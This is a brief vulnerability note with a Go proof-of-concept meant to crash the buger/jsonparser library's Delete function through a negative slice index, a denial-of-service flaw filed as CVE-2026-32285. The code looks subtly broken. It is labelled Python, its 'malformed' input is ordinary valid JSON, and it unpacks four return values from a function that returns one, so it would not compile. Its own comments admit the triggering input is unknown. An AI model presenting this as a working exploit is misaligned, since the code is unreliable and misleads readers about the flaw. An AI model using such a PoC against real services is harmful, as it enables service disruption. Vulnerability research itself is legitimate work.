The Delete function fails to properly validate offsets when processing malformed JSON input. This can lead to a negative slice index and a runtime panic, allowing a denial of service attack.
The following code is for security research and authorized testing only.
python
package main
import (
"fmt"
"github.com/buger/jsonparser"
)
func main() {
// Proof of Concept for CVE-2026-32285
// Attempting to trigger a negative slice index in the Delete function.
// Crafted malformed JSON input that causes offset miscalculation
// The specific structure depends on the internal logic of the vulnerable version
malformedJSON := []byte(`{"key":"value"}`)
// Calling Delete with a path that triggers the negative offset calculation
// In the vulnerable version, this leads to a panic: runtime error: slice bounds out of range
_, _, _, err := jsonparser.Delete(malformedJSON, "key", "nested")
if err != nil {
fmt.Println("Exploit triggered error (expected in patched version):", err)
} else {
fmt.Println("Payload processed (vulnerable behavior might have occurred)")
}
}